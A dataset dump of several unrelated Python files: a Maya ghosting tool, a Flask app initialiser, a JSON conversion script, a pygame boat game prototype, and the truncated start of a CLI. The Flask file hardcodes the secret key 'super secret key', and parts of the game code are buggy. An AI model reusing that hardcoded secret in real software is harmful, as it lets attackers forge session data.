+{"seq_id":"609279977","text":"import maya.cmds as mc\nimport PySide2.QtWidgets as qtw\nimport PySide2.QtCore as qtc\nimport PySide2.QtGui as qtg\n\nimport logging\nimport weakref\n\nimport utils\n\nimport maya.OpenMayaUI as omui\nLOG = logging.getLogger(__name__)\n\nGHOSTS_ATTR = 'ghosting_ghosts'\nPARENT_ATTR = 'ghosting_parent'\n\n\ndef ui(force=False):\n if mc.window('ghostingWindow', q=True, ex=True):\n if not force:\n mc.showWindow('ghostingWindow')\n return\n mc.deleteUI('ghostingWindow')\n main_window = utils.get_maya_main_window()\n gui = GhostUi(main_window)\n gui.show()\n return gui\n\n\nclass GhostUi(qtw.QDialog):\n def __init__(self, parent=None):\n super(GhostUi, self).__init__(parent)\n self._ghosties = {}\n self.setWindowTitle('Ghosting')\n self.setObjectName('ghostingWindow')\n self._init_ui()\n\n def _init_ui(self):\n main_lay = qtw.QVBoxLayout(self)\n # list controls\n self.ghost_list = qtw.QListWidget(self)\n self.add_geo_btn = qtw.QPushButton('Add Geometry', self)\n self.remove_geo_btn = qtw.QPushButton('Remove Geometry', self)\n geo_lay = qtw.QHBoxLayout(self)\n geo_lay.addWidget(self.add_geo_btn)\n geo_lay.addWidget(self.remove_geo_btn)\n # time controls\n validator = qtg.QIntValidator()\n self.in_time = qtw.QLineEdit(self)\n self.in_time.setValidator(validator)\n self.in_time.setText(str(int(mc.playbackOptions(q=True, min=True))))\n self.out_time = qtw.QLineEdit(self)\n self.out_time.setValidator(validator)\n self.out_time.setText(str(int(mc.playbackOptions(q=True, max=True))))\n self.step = qtw.QLineEdit(self)\n self.step.setValidator(validator)\n self.step.setText('1')\n time_lay = qtw.QHBoxLayout(self)\n time_lay.addWidget(self.in_time)\n time_lay.addWidget(self.out_time)\n time_lay.addWidget(self.step)\n # create / edit controls\n self.create_ghost_btn = qtw.QPushButton('Create Ghost', self)\n self.toggle_ghost_btn = qtw.QPushButton('Toggle Visibility', self)\n opacity_lbl = qtw.QLabel('Opacity', self)\n self.opacity_slider = qtw.QSlider(self)\n self.opacity_slider.setOrientation(qtc.Qt.Horizontal)\n self.opacity_slider.setRange(0, 1000)\n self.opacity_slider.setSingleStep(1)\n self.opacity_slider.setValue(900)\n opacity_lay = qtw.QHBoxLayout(self)\n opacity_lay.addWidget(opacity_lbl)\n opacity_lay.addWidget(self.opacity_slider)\n main_lay.addWidget(self.ghost_list)\n main_lay.addLayout(geo_lay)\n main_lay.addLayout(time_lay)\n main_lay.addWidget(self.create_ghost_btn)\n main_lay.addWidget(self.toggle_ghost_btn)\n main_lay.addLayout(opacity_lay)\n # slots and signals\n self.ghost_list.currentTextChanged.connect(self.update_ghost_btn)\n self.add_geo_btn.clicked.connect(self.add_geometry)\n self.remove_geo_btn.clicked.connect(self.remove_geometry)\n self.create_ghost_btn.clicked.connect(self.create_ghosts)\n self.toggle_ghost_btn.clicked.connect(self.toggle_vis)\n self.opacity_slider.valueChanged.connect(self.change_opacity)\n\n @property\n def current_item(self):\n return self.ghost_list.currentItem()\n\n @property\n def ghosts(self):\n return self._ghosties\n\n def add_geometry(self):\n for selected in mc.ls(sl=True, fl=True, uid=True):\n if self.ghost_list.findItems(selected, qtc.Qt.MatchExactly):\n return\n name = mc.ls(selected)[0]\n item = qtw.QListWidgetItem(name, self.ghost_list)\n item.maya_uuid = selected\n self._ghosties[selected] = None\n\n def remove_geometry(self):\n current = self.current_item.maya_uuid\n if self._ghosties[current] is not None:\n self._ghosties[current].clear()\n self._ghosties[current] = None\n item_row = self.ghost_list.row(self.current_item)\n self.ghost_list.takeItem(item_row)\n\n def create_ghosts(self):\n start = int(self.in_time.text())\n end = int(self.out_time.text())\n step = int(self.step.text())\n if self.current_item.maya_uuid in self._ghosties:\n if self._ghosties[self.current_item.maya_uuid] is None:\n name = mc.ls(self.current_item.maya_uuid)[0]\n ghost = Ghosts(name)\n self._ghosties[self.current_item.maya_uuid] = ghost\n else:\n ghost = self._ghosties[self.current_item.maya_uuid]\n ghost.create_from_range(start, end, increment=step, force=True)\n self.update_ghost_btn(self.current_item)\n\n def update_ghost_btn(self, current):\n if self.current_item is not None:\n current = self.current_item.maya_uuid\n if current in self._ghosties:\n if self._ghosties[current] is not None:\n self.create_ghost_btn.setText('Update Ghost')\n else:\n self.create_ghost_btn.setText('Create Ghost')\n\n def toggle_vis(self):\n geo = mc.ls(self.current_item.maya_uuid)[0]\n grp = mc.listConnections('{0}.{1}'.format(geo, GHOSTS_ATTR))[0]\n if mc.getAttr('{0}.v'.format(grp)):\n mc.setAttr('{0}.v'.format(grp), False)\n else:\n mc.setAttr('{0}.v'.format(grp), True)\n\n def clear(self):\n for geo, ghost in self._ghosties.iteritems():\n if ghost is not None:\n ghost.clear()\n self._ghosties.clear()\n self.ghost_list.clear()\n\n def change_opacity(self, value):\n normalized_value = float(value) / 1000\n ghost = self._ghosties[self.current_item.maya_uuid]\n mc.setAttr('{0}.transparency'.format(ghost.material), normalized_value, normalized_value, normalized_value)\n\n def closeEvent(self, event):\n self.clear()\n event.accept()\n\n\nclass Ghosts(object):\n def __init__(self, shape):\n self.orig_shape = shape\n self.name = self.orig_shape.split('|')[-1]\n self.material = None\n self.shading_grp = None\n self.stamps = {}\n self.step = 1\n self.ghost_grp = mc.group(em=True, n='{0}_ghost_grp'.format(self.name))\n self.create_material()\n self.meta_connect()\n\n @property\n def ghosts(self):\n return self.stamps\n\n @property\n def ghosts_source(self):\n try:\n return mc.getAttr('{0}.{1}'.format(self.ghost_grp, PARENT_ATTR))\n except ValueError:\n return\n\n def meta_connect(self):\n try:\n mc.addAttr(self.name, ln=GHOSTS_ATTR, at='message')\n except RuntimeError:\n pass\n mc.addAttr(self.ghost_grp, ln=PARENT_ATTR, at='message')\n mc.connectAttr('{0}.{1}'.format(self.ghost_grp, PARENT_ATTR), '{0}.{1}'.format(self.name, GHOSTS_ATTR), force=True)\n\n def create_ghost(self, frame):\n ghost_shape = mc.duplicate(self.orig_shape, n='{0}_{1}'.format(self.name, int(frame)))[0]\n attrs = mc.listAttr(ghost_shape, k=True)\n for attr in attrs:\n mc.setAttr('{0}.{1}'.format(ghost_shape, attr), l=True, k=False, cb=False)\n mc.parent(ghost_shape, self.ghost_grp)\n mc.sets(ghost_shape, edit=True, fe=self.shading_grp)\n self.stamps[frame] = ghost_shape\n\n def create_from_range(self, start, end, increment=None, force=False):\n current_time = start\n while current_time <= end:\n mc.currentTime(current_time)\n if current_time not in self.stamps:\n self.create_ghost(current_time)\n if force is True:\n mc.delete(self.stamps[current_time])\n self.create_ghost(current_time)\n current_time += 1\n if increment > 1:\n self.step = increment\n frames = [frame for frame in self.stamps.keys()]\n frames.sort(key=int)\n self.hide_ghosts(frames)\n for frame in xrange(0, frames[-1], increment):\n self.show_ghosts(frame)\n\n def change_steps(self, increment=None):\n frames = [frame for frame in self.stamps.keys()]\n frames.sort(key=int)\n for frame in self.stamps.keys():\n self.show_ghosts(frame)\n if increment > 1:\n self.step = increment\n for frame in xrange(frames[1], frames[-1], increment):\n self.hide_ghosts(frame)\n\n def delete_ghosts(self, frames):\n frames = utils.as_list(frames)\n for frame in frames:\n if frame in self.stamps:\n mc.delete(self.stamps[frame])\n\n def hide_ghosts(self, frames):\n frames = utils.as_list(frames)\n for frame in frames:\n if frame in self.stamps:\n mc.setAttr('{0}.v'.format(self.stamps[frame]), l=False)\n mc.setAttr('{0}.v'.format(self.stamps[frame]), False)\n mc.setAttr('{0}.v'.format(self.stamps[frame]), l=True)\n\n def show_ghosts(self, frames):\n frames = utils.as_list(frames)\n for frame in frames:\n if frame in self.stamps:\n mc.setAttr('{0}.v'.format(self.stamps[frame]), l=False)\n mc.setAttr('{0}.v'.format(self.stamps[frame]), True)\n mc.setAttr('{0}.v'.format(self.stamps[frame]), l=True)\n\n def clear(self):\n mc.delete(self.ghost_grp, self.material, self.shading_grp)\n mc.deleteAttr(self.orig_shape, at=GHOSTS_ATTR)\n self.stamps.clear()\n\n def create_material(self):\n self.material = mc.shadingNode('lambert', asShader=True, n='{0}_ghost_mat'.format(self.name))\n self.shading_grp = mc.sets(r=True, nss=True, em=True, n='{0}_ghost_sg'.format(self.name))\n mc.connectAttr('{0}.outColor'.format(self.material), '{0}.surfaceShader'.format(self.shading_grp))\n mc.setAttr('{0}.color'.format(self.material), 0.8, 0.8, 0.8)\n mc.setAttr('{0}.transparency'.format(self.material), 0.9, 0.9, 0.9)\n","sub_path":"mayadev/animation/ghosting.py","file_name":"ghosting.py","file_ext":"py","file_size_in_byte":10009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"126345957","text":"# Author: Junbong Jang\n# Date: 11/30/2018\n# app/__init__.py\n\nfrom flask import Flask\n\n# Initialize the app\napp = Flask(__name__,\n static_url_path='',\n static_folder='static',\n template_folder=\"templates\",\n instance_relative_config=True)\n\n# Load the views\nfrom app import views\n\n# Load the config file\napp.config.from_object('config')\napp.config['UPLOAD_FOLDER'] = 'app/uploads/'\napp.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024 # 16MB\napp.secret_key = 'super secret key'","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"146150990","text":"import json\n\ncollection = None\nwith open('countriesToCities.json', 'r', encoding='utf-8') as f:\n\tdata = f.read()\n\tcollection = json.loads(data)\n\ncities = []\nfor i in collection:\n\tcities.extend(collection[i])\n\nwith open('cities.json','w') as f:\n\tf.write(str(cities))","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"159352752","text":"import pygame\nimport math\nimport struct\n\n# A button widget......................................................\nclass button:\n\n def __init__ (self, x, y, w, h):\n self.posx = x\n self.posy = y\n self.width = w\n self.height = h\n self.text = \"\"\n self.size = 34\n self.font = None\n self.color = (255, 255, 0)\n self.col = self.color\n self.armed = (255,0,0)\n self.family = None\n\n def setText (self, t):\n self.text = t\n\n def isArmed (self):\n t = pygame.mouse.get_pos()\n xx = t[0]\n yy = t[1]\n if self.posx <=xx and (self.posx+self.width)>=xx and \\\n self.posy<=yy and (self.posy+self.height)>=yy:\n return True\n return False\n\n def draw (self):\n if self.isArmed():\n self.col = (self.armed[0], self.armed[1], self.armed[2])\n else:\n self.col = (self.color[0], self.color[1], self.color[2])\n self.drawText (self.text, self.posx+4, self.posy+self.height-2)\n\n def setfont(s):\n global family, size\n font = pygame.font.SysFont(self.family, self.size)\n\n def textsize(self, n):\n global family, size, weight, font\n self.size = n\n font = pygame.font.SysFont(self.family, self.size)\n\n def drawText(self, s, x, y):\n global display, font\n\n if self.font == None: # Create a font if needed\n self.font = pygame.font.Font(self.family, self.size)\n text = self.font.render(s, 1, self.col) # Render the string in the fill color\n textpos = text.get_rect() # Get the rectangle that encloses the text\n textpos.bottomleft = [x, y]\n display.blit(text, textpos)\n\n def setcolor(r, g=1000, b=1000, a=255):\n if g == 1000:\n self.color = (r, r, r, a)\n else:\n self.color = (r, g, b, a)\n\n def setarmed(r, g=1000, b=1000, a=255):\n if g == 1000:\n self.armed = (r, r, r, a)\n else:\n self.armed = (r, g, b, a)\n\n# .............................................................................\n\n# A Waypoint ..................................................................\nclass waypoint:\n def __init__ (self, x, y, index, speed):\n self.posx = x\n self.posy = y\n self.index = index\n self.speed = speed\n\n# .............................................................................\n\n# A boat ..................................................................\nclass npc :\n\n def __init__(self, x, y, sprite, speed, angle, index):\n self.x = x\n self.y = y\n self.speed = speed\n self.angle = angle\n self.index = index\n self.sound = False # Engine sound.\n self.volume = 0\n self.targetSpeed = 0 # How fast does the boat want to go?\n self.targetAngle = 90 # What is the course setting?\n self.sprite = sprite # The image of the boat\n self.wpt = None # Next waypoint\n self.name = \"NPC 1\"\n self.NORMAL = 0\n self.AVOID = 1\n self.COLLIDED = 2\n self.state = self.NORMAL\n self.sensor = -1\n self.ccount = 0\n\n def setSpeed (self, s):\n self.targetSpeed = s\n\n def setCourse (self, a):\n self.setAngle = a\n\n def setWaypoint (self, w):\n self.wpt = w\n self.targetSpeed = w.speed\n\n def setName (self, s):\n self.name = s\n\n def adjustAngle (self):\n if self.angle > 360.0:\n self.angle = self.angle - 360\n if self.angle < 0:\n self.angle = self.angle + 360\n if self.angle < self.targetAngle:\n self.angle = self.angle + 1\n if self.angle > self.targetAngle:\n self.angle = self.targetAngle\n elif self.angle > self.targetAngle:\n self.angle = self.angle - 1\n if self.angle < 0:\n self.angle = 0\n\n def adjustSpeed (self):\n if self.speed < self.targetSpeed:\n self.speed = self.speed + 0.1\n if self.speed > self.targetSpeed:\n self.speed = self.targetSpeed\n elif self.speed > self.targetSpeed:\n self.speed = self.speed - 0.1\n if self.speed < 0:\n self.speed = 0\n\n\n def distance (self, a, b):\n return math.sqrt ( (a[0]-b[0])*(a[0]-b[0]) + (a[1]-b[1])*(a[1]-b[1]) )\n\n def side (self, a, b, c):\n return (a[0]-b[0])*(c[1]-b[1]) - (a[1]-b[0])*(c[0]-b[0])\n\n def escape (self):\n print (\"ESCAPE .......\",self.ccount,\"sssssss......\")\n self.ccount = self.ccount + 1\n self.speed = 1\n if self.ccount < 100:\n return\n\n if self.sensor == 1:\n self.angle -= 90.0\n elif self.sensor == 0:\n self.angle = self.angle + 45.0\n elif self.sensor == 2:\n self.angle = self.angle - 45.0\n self.sensor = -1\n self.state = self.COLLIDED\n return\n\n def normalize (self, vec):\n leng = math.sqrt((vec[0]*vec[0])+(vec[1]*vec[1]))\n if leng == 0:\n return (0,0)\n return ( (vec[0]/leng, vec[1]/leng) )\n\n def boatCollision (self, i, ddx, ddy):\n ul = rotate((boats[i].x, boats[i].y), (boats[i].x - 42, boats[i].y - 13), -boats[i].angle)\n ur = rotate((boats[i].x, boats[i].y), (boats[i].x + 42, boats[i].y - 13), -boats[i].angle)\n lr = rotate((boats[i].x, boats[i].y), (boats[i].x + 42, boats[i].y + 13), -boats[i].angle)\n ll = rotate((boats[i].x, boats[i].y), (boats[i].x - 42, boats[i].y + 13), -boats[i].angle)\n\n ul = terrain_to_screen(ul)\n ur = terrain_to_screen(ur)\n lr = terrain_to_screen(lr)\n ll = terrain_to_screen(ll)\n\n # Ray cast forward.\n n = self.normalize((ddx, ddy)) # Make length of velocty vector = 1\n ray = (n[0]*200, n[1] * 200) # Ray is now 100 pixels long\n\n pygame.draw.line(display, (0, 255, 0), terrain_to_screen((self.x, self.y)),\n terrain_to_screen((self.x+ray[0], self.y+ray[1])), 2)\n\n if line_intersect( terrain_to_screen((self.x, self.y)), terrain_to_screen((self.x+ray[0], self.y+ray[1])),\n (ul[0], ul[1]), (ur[0], ur[1]) ):\n return True\n if line_intersect( terrain_to_screen((self.x, self.y)), terrain_to_screen((self.x+ray[0], self.y+ray[1])),\n (ur[0], ur[1]), (lr[0], lr[1]) ):\n return True\n if line_intersect( terrain_to_screen((self.x, self.y)), terrain_to_screen((self.x+ray[0], self.y+ray[1])), (lr[0], lr[1]), (ll[0], ll[1]) ):\n return True\n if line_intersect( terrain_to_screen((self.x, self.y)), terrain_to_screen((self.x+ray[0], self.y+ray[1])), (ll[0], ll[1]), (ul[0], ul[1]) ):\n return True\n self.ccount = 0\n return False\n\n\n def avoid (self, i, ddx, ddy):\n print (\"Avoiding \")\n self.state = self.AVOID\n force = ((self.x+ddx - boats[i].x), (self.y+ddy - boats[i].y))\n force = self.normalize (force)\n ax = self.x + force[0]*15\n ay = self.y + force[1]*15\n self.targetAngle = math.degrees(math.atan2(ay - self.y, self.x - ax) + math.pi)\n return\n# if force[0] > 0:\n# self.targetAngle -= 10\n# else:\n# self.targetAngle += 10\n\n\n def nextStep(self):\n global display, boats\n\n print (\"Boat \", self.index, \" TS,TA = \",self.targetSpeed, self.targetAngle, \"State: \", self.state, self.angle)\n\n# First, move the boat. Water friction will slow it.\n old = (self.x, self.y) # Save the previous position\n self.speed = self.speed - 0.001 # Slow down\n if self.speed < 0: # Can't move backwards\n self.speed = 0\n ddx = 0\n ddy = 0\n else:\n ddx = self.speed * math.cos(math.radians(self.angle))\n ddy = -self.speed * math.sin(math.radians(self.angle))\n\n# Collisions? First with shore\n t = shoreCollide (self.index)\n if t: # and self.NORMAL: # Collided just now\n# self.x = old[0]\n# self.y = old[1]\n print (\"Shore collision.\")\n self.speed = 1.0\n self.escape()\n self.state = self.NORMAL\n\n\n# Collision with another boat?\n elif self.boatCollision (0, ddx, ddy):\n print (\"Collision pending\")\n self.avoid(0, ddx, ddy)\n\n else:\n # Move the boat\n self.x = self.x + ddx # New boat position on the map is (x, y)\n if self.x > 3200: # Keep the boat on the play area - Too far right\n self.x = 3199\n self.speed = 0\n elif self.x < 0: # Keep the boat on the play area - Too far left\n self.x = 1\n self.speed = 0\n self.y = self.y + ddy\n if self.y > 2700: # Keep the boat on the play area - Too far down\n self.y = 2699\n self.speed = 0\n elif self.y < 0: # Keep the boat on the play area - Too far up\n self.y = 1\n self.speed = 0\n self.state = self.NORMAL\n\n\n# Waypoint??\n d = self.distance ((self.x, self.y), (self.wpt.posx,self.wpt.posy))\n if d < 30: # Arrived at waypoint?\n print (\"Arrived at \", self.wpt.index)\n k = self.wpt.index+2\n if (k>29):\n k = 28\n self.wpt = waypoints[k]\n\n# Adjust speed and angle\n self.adjustSpeed ()\n self.adjustAngle()\n\n# Steer\n if self.wpt != None and self.state == self.NORMAL:\n self.targetAngle = math.degrees (math.atan2(self.wpt.posy-self.y, self.x-self.wpt.posx) + math.pi)\n\n# Draw\n ccx, ccy = terrain_to_screen((self.x, self.y, self.angle))\n rotboat = pygame.transform.rotate(self.sprite, self.angle)\n ccx = ccx-rotboat.get_width()/2\n ccy = ccy - rotboat.get_height()/2\n display.blit (pygame.transform.rotate(self.sprite, self.angle), (ccx, ccy) )\n# .............................................................................\n\n\ndef startScreen (ev):\n global screenState, PLAYSTATE, OPTIONSTATE, ENDSTATE\n display.blit(startImage, (0, 0))\n playButton.draw()\n if ev.type == pygame.MOUSEBUTTONUP and playButton.isArmed():\n screenState = PLAYSTATE\n playScreen(ev)\n return\n optionButton.draw()\n if ev.type == pygame.MOUSEBUTTONUP and optionButton.isArmed():\n screenState = OPTIONSTATE\n optionScreen(ev)\n return\n quitButton.draw()\n if ev.type == pygame.MOUSEBUTTONUP and quitButton.isArmed():\n screenState = ENDSTATE\n\n\ndef optionScreen (ev):\n global screenState, STARTSTATE, soundOn\n display.blit (optionImage, (0,0))\n soundButton.draw()\n if ev.type == pygame.MOUSEBUTTONUP and soundButton.isArmed():\n if soundOn:\n soundOn = False\n soundButton.setText(\"No\")\n display.blit(optionImage, (0, 0))\n soundButton.draw()\n else:\n soundOn = True\n soundButton.setText (\"Yes\")\n display.blit(optionImage, (0, 0))\n soundButton.draw()\n backButton.draw()\n if ev.type == pygame.MOUSEBUTTONUP and backButton.isArmed():\n screenState = STARTSTATE\n startScreen(ev)\n\n\ndef start_engine():\n global engine_on, sound_on, engine1\n engine1.play(1000)\n engine_on = True\n\n\ndef stop_engine ():\n global engine_on, sound_on, engine1\n engine1.stop()\n engine_on = False\n\n\ndef otherBoats ():\n global boats, display\n boats[1].nextStep ()\n boats[2].nextStep ()\n\n\ndef playScreen (event):\n global x, y, xx, yy, speeds, angles, engine_on\n eon = False\n if event.type == pygame.KEYDOWN:\n k = pygame.key.get_pressed()\n if k[pygame.K_s]:\n boats[0].speed = boats[0].speed - .1\n eon = True\n if k[pygame.K_w]:\n boats[0].speed = boats[0].speed + .1\n eon = True\n if k[pygame.K_a]:\n boats[0].angle = boats[0].angle + 5\n eon = True\n if k[pygame.K_d]:\n boats[0].angle = boats[0].angle - 5\n eon = True\n if eon and not engine_on:\n start_engine()\n elif not eon and engine_on:\n stop_engine()\n\n# Rotate a point counterclockwise by a given angle around a given origin.\n# The angle should be given in radians.\ndef rotate(origin, point, angle):\n ox, oy = origin\n px, py = point\n\n qx = ox + math.cos(math.radians(angle)) * (px - ox) - math.sin(math.radians(angle)) * (py - oy)\n qy = oy + math.sin(math.radians(angle)) * (px - ox) + math.cos(math.radians(angle)) * (py - oy)\n return (qx, qy)\n\n\n# Does the boat collide with the shore?\ndef shoreCollide (i):\n global angles, x, y, xx, yy, background\n# Boat Bounding box: (0,0), (84,0), (84,27), (0,27)\n dx = math.cos(math.radians(boats[i].angle))\n dy = -math.sin(math.radians(boats[i].angle))\n x1 = boats[i].x+50*dx # Forward\n y1 = boats[i].y+50*dy\n if x1>0 and x1<3200 and y1>0 and y1<2700:\n c = background.get_at((int(x1),int(y1)))\n if c[0] != 33:\n boats[i].sensor = 1\n return True\n\n x1 = boats[i].x+18*dx # Port\n y1 = boats[i].y-18*dy\n if x1>0 and x1<3200 and y1>0 and y1<2700:\n c = background.get_at((int(x1),int(y1)))\n if c[0] != 33:\n boats[i].sensor = 1\n return True\n\n x1 = boats[i].x-18*dx # Starboard\n y1 = boats[i].y+18*dy\n if x1>0 and x1<3200 and y1>0 and y1<2700:\n c = background.get_at((int(x1),int(y1)))\n if c[0] != 33:\n boats[i].sensor = 2\n return True\n return False\n\ndef ray_box (ray, box):\n for j in range (i,4):\n if line_intersect (ray[0], ray[1], box[j], box[j+1]):\n return True\n return False\n\ndef box_intersect (b1, b2):\n for i in range(0,4):\n for j in range (i,4):\n if line_intersect (b1[i], b1[i+1], b2[j], b2[j+1]):\n return True\n return False\n\ndef ccw(a, b, c):\n\treturn (c[1]-a[1])*(b[0]-a[0]) > (b[1]-a[1])*(c[0]-a[0])\n\ndef line_intersect (p1, p2, p3, p4):\n r1 = ccw(p1, p3, p4) != ccw (p2, p3, p4)\n r2 = ccw(p1, p2, p3) != ccw (p1, p2, p4)\n if r1 and r2:\n return True\n return False\n\ndef boatCollide ():\n global angles, boats_x, boats_y\n\n box = []\n for which in range (0,3):\n ul = rotate ( (boats[which].x, boats[which].y), (boats[which].x-42, boats[which].y-13), -boats[which].angle)\n ur = rotate ( (boats[which].x, boats[which].y), (boats[which].x+42, boats[which].y-13), -boats[which].angle)\n lr = rotate ( (boats[which].x, boats[which].y), (boats[which].x+42, boats[which].y+13), -boats[which].angle)\n ll = rotate ( (boats[which].x, boats[which].y), (boats[which].x-42, boats[which].y+13), -boats[which].angle)\n\n ul = terrain_to_screen (ul)\n ur = terrain_to_screen (ur)\n lr = terrain_to_screen (lr)\n ll = terrain_to_screen (ll)\n box.append([ul,ur,lr,ll,ul])\n\n pygame.draw.line(display, (255, 0, 0), ul, ur, 2)\n pygame.draw.line(display, (255, 0, 0), ur, lr, 2)\n pygame.draw.line(display, (255, 0, 0), lr, ll, 2)\n pygame.draw.line(display, (255, 0, 0), ll, ul, 2)\n\n if box_intersect (box[1], box[2]):\n print(\"Collision \", 1, 2)\n if box_intersect (box[0], box[1]):\n print (\"Collision \", 0, 1)\n if box_intersect (box[0], box[2]):\n print (\"Collision \", 0, 2)\n\n\ndef text (str, xx, yy):\n global display\n font = pygame.font.SysFont(\"comicsansms\", 12)\n txt = font.render(str, True, (255, 128, 65))\n display.blit(txt, (xx, yy))\n\n\ndef terrain_to_screen (a):\n global x, y\n return (a[0] - x, a[1]-y)\n\n\ndef boat_to_screen (xpos, ypos, angle):\n global boats\n dx,dy = 0,0\n# Adjust their boat position within the display area\n z = xpos - 250 # Boat is far left.\n if z<0:\n dx = 250-xpos # dx is offset from centre of window\n elif z > 2700: # 3200 - 500 is 2700\n dx = 2950-xpos\n z = ypos-200\n if z < 0:\n dy = 200-ypos\n elif z>2300:\n dy = 2500-ypos\n\n myx = 250-dx # The final boat position in display area\n myy = 200-dy\n rotboat = pygame.transform.rotate(boats[1].sprite, angle)\n cx = myx - rotboat.get_width()/2\n cy = myy - rotboat.get_height()/2\n return ((cx, cy))\n\n\ndef move ():\n global speeds, angles, x, y, xx, yy, background, boat2\n old = (xx, yy, boats[0].x, boats[0].y, x, y) # Save the previous position\n boats[0].speed = boats[0].speed - 0.001 # Slow down\n if boats[0].speed < 0: # Can't move backwards\n boats[0].speed = 0\n dx = 0\n dy = 0\n else:\n dx = boats[0].speed * math.cos(math.radians(boats[0].angle))\n dy = -boats[0].speed * math.sin(math.radians(boats[0].angle))\n\n# Move the boat\n boats[0].x = boats[0].x + dx # New boat position on the map is (bx, by)\n if boats[0].x>3200: # Keep the boat on the play area - Too far right\n boats[0].x = 3199\n boats[0].speed = 0\n elif boats[0].x<0: # Keep the boat on the play area - Too far left\n boats[0].x = 1\n boats[0].speed = 0\n boats[0].y = boats[0].y + dy\n if boats[0].y>2700: # Keep the boat on the play area - Too far down\n boats[0].y = 2699\n boats[0].speed = 0\n elif boats[0].y<0: # Keep the boat on the play area - Too far up\n boats[0].y = 1\n boats[0].speed = 0\n\n dx = 0\n dy = 0\n# Adjust their boat position within the display area\n x = boats[0].x - 250 # Boat is far left.\n if x<0:\n x = 0\n dx = 250-boats[0].x # dx is offset from centre of window\n elif x > 2700: # 3200 - 500 is 2700\n x = 2700\n dx = 2950-boats[0].x\n y = boats[0].y-200\n if y < 0:\n y = 0\n dy = 200-boats[0].y\n elif y>2300:\n y = 2300\n dy = 2500-boats[0].y\n\n xx = 250-dx # The final boat position in display area\n yy = 200-dy\n\n display.blit(background, (-x, -y))\n\n# Now - is the boat stll in the water? (collision with shore)?\n if shoreCollide (0):\n xx = old[0]\n yy = old[1]\n boats[0].x = old[2]\n boats[0].y = old[3]\n x = old[4]\n y = old[5]\n\n ccx, ccy = boat_to_screen (boats[0].x, boats[0].y, boats[0].angle)\n display.blit (pygame.transform.rotate(boats[0].sprite, boats[0].angle), (ccx, ccy) )\n text (str(boats[0].speed), 100, 50)\n boatCollide()\n otherBoats() # NPC boats\n\n\ndef endScreen(event):\n display.blit(endImage, (0,0))\n if event.type == pygame.MOUSEBUTTONUP :\n exit()\n\n\npygame.init()\nclock = pygame.time.Clock()\ndisplay = pygame.display.set_mode((500, 400), pygame.SRCALPHA, 32)\n\nbackground = pygame.image.load (\"xx.png\")\nboat2 = pygame.image.load (\"boat4a.gif\")\nstartImage = pygame.image.load (\"startScreen.jpg\")\noptionImage = pygame.image.load (\"optionsScreen.jpg\")\nendImage = pygame.image.load (\"endScreen.jpg\")\nengine1 = pygame.mixer.Sound (\"sounds/engineBoat1.wav\")\n\npygame.key.set_repeat(10, 200)\nx = 300 # Screen offset\ny = 2100\nxx = 250 # Boat screen coordinates\nyy = 200\n\n#speeds = [0, 0, 0] # Speed of each boat\n#angles = [90, 90, 90] # Facing direction of each boat\n#boats_x = [400, 450, 350] # Position of each boat\n#boats_y = [2650, 2650, 2650]\nplayer = npc (450, 2650, pygame.image.load (\"boat4a.gif\"), 0, 90, 0)\nboat3 = npc (550, 2650, pygame.image.load (\"boat2a.gif\"), 0, 90, 1)\nboat4 = npc (350, 2650, pygame.image.load (\"boat5a.gif\"), 0, 90, 2)\nboats = (player, boat3, boat4)\nplayer.setName (\"Player\")\nboat4.setName (\"NPC 2\")\n\nsoundOn = True # User selected (ON or OFF)\nengine_on = False # Is the engine powering the boat?\nSTARTSTATE = 0 # Screen states\nOPTIONSTATE = 1\nPLAYSTATE = 2\nENDSTATE = 3\nscreenState = STARTSTATE # Current screen\nplayButton = button (100, 200, 100, 30)\nplayButton.setText (\"Play\")\noptionButton = button (300,250,100, 30)\noptionButton.setText (\"Options\")\nquitButton = button (100, 300, 100, 30)\nquitButton.setText (\"Quit\")\nsoundButton = button (200, 135, 100, 30)\nsoundButton.setText (\"Yes\")\nbackButton = button (200, 300, 100, 30)\nbackButton.setText (\"Back\")\n\n# Read waypoint file and create a tuple\nwaypoints = ((0,0,0,0),)\nwith open(\"params.txt\") as f:\n for data in f:\n i = int(data[0:2])\n ix = float (data[3:7])\n iy = float(data[8:12])\n ispeed = float(data[13:])\n w = waypoint(ix, iy, i, ispeed)\n waypoints += (w,)\nboat3.setWaypoint(waypoints[1])\nboat4.setWaypoint(waypoints[2])\n\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit()\n if screenState == STARTSTATE:\n startScreen (event)\n elif screenState == OPTIONSTATE:\n optionScreen (event)\n elif screenState == PLAYSTATE:\n playScreen (event)\n elif screenState == ENDSTATE:\n endScreen (event)\n else:\n print (\"ERROR: Bad state in main loop.\")\n exit()\n\n if screenState == PLAYSTATE:\n move()\n pygame.display.update()\n\n","sub_path":"CompanionFiles.GameDev/Code/Chapter 7/proto2/proto2.py","file_name":"proto2.py","file_ext":"py","file_size_in_byte":21383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"128873719","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"Usage: chrono [options] (today | (day | month | year) [])\n chrono [options] week [ []]\n chrono [options] report (start | end) [